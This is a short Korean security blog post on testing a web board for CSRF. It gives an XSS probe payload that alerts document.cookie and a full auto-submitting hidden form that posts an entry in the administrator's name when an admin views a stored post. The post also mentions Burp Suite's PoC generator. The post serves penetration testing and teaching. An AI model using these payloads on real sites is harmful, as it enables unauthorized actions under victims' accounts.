본문 바로가기
보안 및 개발/WEB

CSRF 취약점 진단 방법

by CH@3M 2020. 1. 13.

우선 xss가 되는 것을 확인한다.

<img src="" onerror="alert(document.cookie)">

 

burpsuite를 이용해 POST 방식으로 게시글이 등록되는 것을 확인하였다.

또한, 게시물 등록 시 필요한 데이터 변수명들을 확인할 수 있다. 필요해 보이는 것 몇가지를 넣어 스크립트를 작성하면 된다. 게시글의 페이지 소스보기를 통해 HTML을 작성하여도 된다.

<body onload="document.form.submit();">
<form METHOD ="POST" action="https://URL/board.es?bid=0001&nPage=1&act=ins" name="form" enctype="multipart/form-data">
  <input type=hidden name="m_id" value="admin">
  <input type=hidden name="b_filec" value="3">
  <input type=hidden name="b_filesize" value="5">
  <input type=hidden name="gubun" value="ins">
  <input type=hidden name="goURL" value="">
  <input type=hidden name="mid" value="a10401000000">
  <input type=hidden name="bid" value="0001">
  <input type=hidden name="title" value="CSRF hacked by ...">
  <input type=hidden name="m_name" value='admin'>
  <input type=hidden name="content" value="CSRF test">
</form>

 

이렇게 게시글에 작성하고, 이 게시글을 클릭하면 관리자의 이름으로 게시글이 생성되게 된다.

 

+) Burpsuite pro 에서 CSRF PoC코드를 잘 만들어주니, 이용하는 것도 방법!

패킷에서 오른쪽 마우스 클릭 > Engagement tools > generate CSRF PoC 클릭하면 한번에 만들어 주고, 형식따라서 이것저것 설정할 수 있다. 

반응형

'보안 및 개발 > WEB' 카테고리의 다른 글

Session 변조 - getSession()  (0) 2021.03.05
[Arachni] Password field with auto-complete  (0) 2020.01.03
[Web] arachni scanner 사용법  (0) 2019.12.23
[APT] 정보수집  (0) 2019.12.18
로그인 구현 시 참고사항  (0) 2019.12.10